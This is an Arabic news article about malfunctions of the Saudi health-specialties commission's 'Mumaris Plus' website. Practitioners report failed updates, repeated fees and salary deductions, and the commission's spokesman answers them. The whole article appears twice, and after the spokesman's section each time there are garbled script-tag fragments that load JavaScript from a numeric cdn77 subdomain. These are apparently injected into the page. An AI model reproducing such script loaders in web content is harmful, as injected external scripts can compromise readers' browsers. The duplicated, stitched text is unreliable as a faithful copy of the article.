«التخصصات» أطلقت الموقع الإلكتروني قبل 25 يوما فقط
تكررت خلال الفترة الماضية أعطال الموقع الإلكتروني «ممارس بلس» التابع لهيئة التخصصات الصحية، رغم تدشينه قبل نحو 25 يوما فقط، فيما أكد عدد من الممارسين الصحيين أن عطل النظام أدى إلى تأخير المعاملات وبالتالي الخصم من مستحقاتهم المالية.
خلل النظام
وكشف أحد الممارسين عن عدة سلبيات واجهته في النظام أثناء استخدامه، ومنها عدم إتمام عملية تحديث الملف الخاص بالمستخدم لوجود خطأ في تاريخ الميلاد، وعدم مطابقته بيانات مركز المعلومات الوطني، مما يعني فشل استكمال الطلبات، إضافة لعدم إظهار النظام لرصيد وعدد ساعات التعليم الطبي المستمر للممارس الصحي، وصعوبة إلغاء وحذف الطلبات النشطة التي تم إنشاؤها بالخطأ، مشيرا إلى بطء النظام بشكل ملحوظ في الفترة الصباحية وإغلاقه وتعطله في المساء ونهاية الأسبوع.
وأشار ممارس آخر إلى أن الهيئة قطعت كافة سبل التواصل مع الممارسين واعتمدت بدورها على موقع نظام ممارس بلس، وهو أمر إيجابي إذا كان الموقع بمستوى عال يخدم المستفيدين، بينما الواقع يؤكد أن الموقع ليس بالكفاءة المطلوبة، ومشاكله ليست بسيطة ومعقدة ولا يمكن التغاضي عنها.
خصم المستحقات
وأوضح ممارس آخر أن بطاقة الهيئة التي يحصل عليها الممارس، مرتبطة بمستحقاته المالية، فعندما تنتهي مدة البطاقة التي حاول الممارس تجديدها لأكثر من مرة يتم الخصم من راتبه، متسائلا لماذا لا تقوم الهيئة برفع خطاب للوزارة يفيد بوجود عطل في الموقع يعيق الممارسين عن تجديد بطاقاتهم، وأشار آخر إلى أن الموقع يطلب دفع الرسوم الإدارية، ثم رسوم الخدمة، ويتم إعلامه بعد ذلك برفض الطلب، مما يدفعه إلى دفع الرسوم مجددا لتقديم طلب آخر، واقترح دراسة الطلب مبدئيا، وفي حال الموافقة تتم المطالبة بالرسوم.
تعطل المعاملات
وأكدت د. لمياء البراهيم أن الموقع يتطلب الدخول في أوقات لا يكون فيها ضغط عليه، وصاحب العمل لا يستطيع أن يجلس على جهازه في منتصف الليل لدخول الموقع وتحديث المعلومات، مشيرة إلى أنها واجهت مشكلة لمدة 9 أشهر حتى تتمكن من إضافة مؤهل لإصدار قرار، وطالبت بسرعة إصلاح أعطال الموقع وإيجاد طرق بديلة لحين التأكد من كفاءة النظام، خاصة أنه أصبح عقبة لتسجيل الممارسين، بسبب الخلل في الفتح والإغلاق في نفس اللحظة مما يضيع على المستخدم فرصة تحميل الوثائق المطلوبة، وفي حال استكمالها، تصله رسالة تفيد بعدم توافرها وفشل إتمام الخطوة.
رد متاخر
من جانبهم تواصل عدد من الممارسين مع هيئة التخصصات الصحية عبر أيقونة «تواصل» لتوضيح سلبيات الموقع والمشاكل التي واجهتهم، وجاء الرد متأخرا عند البعض بإعادة رفع المطلوب مجددا، بينما لم يتم الرد مطلقا على البعض الآخر.
تحديث مستمر
وأوضح المتحدث الرسمي لهيئة التخصصات الصحية فهد القثامي أن نظام «ممارس بلس» الذي دشن قبل نحو 25 يوما، يعمل بشكل جيد حاليا بعد معالجة الملاحظات التي تلقتها الهيئة من الممارسين في بدايات إطلاقه، وأشار إلى أن تأخر إنجاز بعض المعاملات لا علاقة لها بالنظام الجديد، وإنما تعود لعدم إكمال الممارس الصحي متطلبات المعاملة وفق الأنظمة المعمول بها في الهيئة، وقال إن النظام يخضع للتحديث المستمر بناء على ملاحظات المستفيدين، وذلك لمدة قصيرة خارج أوقات العمل، موضحا أن الدعم الفني عبر «تويتر» ونظام «تواصل» يسهل التفاعل مع الممارسين الصحيين وحل المشكلات إن وجدت، ولفت إلى أن النظام ينجز حاليا آلاف المعاملات بطريقة سلسلة وجودة عالية. ******** async= src=//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js>******** ******** async= src=//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js>********
خلل النظام
وكشف أحد الممارسين عن عدة سلبيات واجهته في النظام أثناء استخدامه، ومنها عدم إتمام عملية تحديث الملف الخاص بالمستخدم لوجود خطأ في تاريخ الميلاد، وعدم مطابقته بيانات مركز المعلومات الوطني، مما يعني فشل استكمال الطلبات، إضافة لعدم إظهار النظام لرصيد وعدد ساعات التعليم الطبي المستمر للممارس الصحي، وصعوبة إلغاء وحذف الطلبات النشطة التي تم إنشاؤها بالخطأ، مشيرا إلى بطء النظام بشكل ملحوظ في الفترة الصباحية وإغلاقه وتعطله في المساء ونهاية الأسبوع.
وأشار ممارس آخر إلى أن الهيئة قطعت كافة سبل التواصل مع الممارسين واعتمدت بدورها على موقع نظام ممارس بلس، وهو أمر إيجابي إذا كان الموقع بمستوى عال يخدم المستفيدين، بينما الواقع يؤكد أن الموقع ليس بالكفاءة المطلوبة، ومشاكله ليست بسيطة ومعقدة ولا يمكن التغاضي عنها.
خصم المستحقات
وأوضح ممارس آخر أن بطاقة الهيئة التي يحصل عليها الممارس، مرتبطة بمستحقاته المالية، فعندما تنتهي مدة البطاقة التي حاول الممارس تجديدها لأكثر من مرة يتم الخصم من راتبه، متسائلا لماذا لا تقوم الهيئة برفع خطاب للوزارة يفيد بوجود عطل في الموقع يعيق الممارسين عن تجديد بطاقاتهم، وأشار آخر إلى أن الموقع يطلب دفع الرسوم الإدارية، ثم رسوم الخدمة، ويتم إعلامه بعد ذلك برفض الطلب، مما يدفعه إلى دفع الرسوم مجددا لتقديم طلب آخر، واقترح دراسة الطلب مبدئيا، وفي حال الموافقة تتم المطالبة بالرسوم.
تعطل المعاملات
وأكدت د. لمياء البراهيم أن الموقع يتطلب الدخول في أوقات لا يكون فيها ضغط عليه، وصاحب العمل لا يستطيع أن يجلس على جهازه في منتصف الليل لدخول الموقع وتحديث المعلومات، مشيرة إلى أنها واجهت مشكلة لمدة 9 أشهر حتى تتمكن من إضافة مؤهل لإصدار قرار، وطالبت بسرعة إصلاح أعطال الموقع وإيجاد طرق بديلة لحين التأكد من كفاءة النظام، خاصة أنه أصبح عقبة لتسجيل الممارسين، بسبب الخلل في الفتح والإغلاق في نفس اللحظة مما يضيع على المستخدم فرصة تحميل الوثائق المطلوبة، وفي حال استكمالها، تصله رسالة تفيد بعدم توافرها وفشل إتمام الخطوة.
رد متاخر
من جانبهم تواصل عدد من الممارسين مع هيئة التخصصات الصحية عبر أيقونة «تواصل» لتوضيح سلبيات الموقع والمشاكل التي واجهتهم، وجاء الرد متأخرا عند البعض بإعادة رفع المطلوب مجددا، بينما لم يتم الرد مطلقا على البعض الآخر.
تحديث مستمر
وأوضح المتحدث الرسمي لهيئة التخصصات الصحية فهد القثامي أن نظام «ممارس بلس» الذي دشن قبل نحو 25 يوما، يعمل بشكل جيد حاليا بعد معالجة الملاحظات التي تلقتها الهيئة من الممارسين في بدايات إطلاقه، وأشار إلى أن تأخر إنجاز بعض المعاملات لا علاقة لها بالنظام الجديد، وإنما تعود لعدم إكمال الممارس الصحي متطلبات المعاملة وفق الأنظمة المعمول بها في الهيئة، وقال إن النظام يخضع للتحديث المستمر بناء على ملاحظات المستفيدين، وذلك لمدة قصيرة خارج أوقات العمل، موضحا أن الدعم الفني عبر «تويتر» ونظام «تواصل» يسهل التفاعل مع الممارسين الصحيين وحل المشكلات إن وجدت، ولفت إلى أن النظام ينجز حاليا آلاف المعاملات بطريقة سلسلة وجودة عالية. ******** async= src=//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js>******** ******** async= src=//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js>********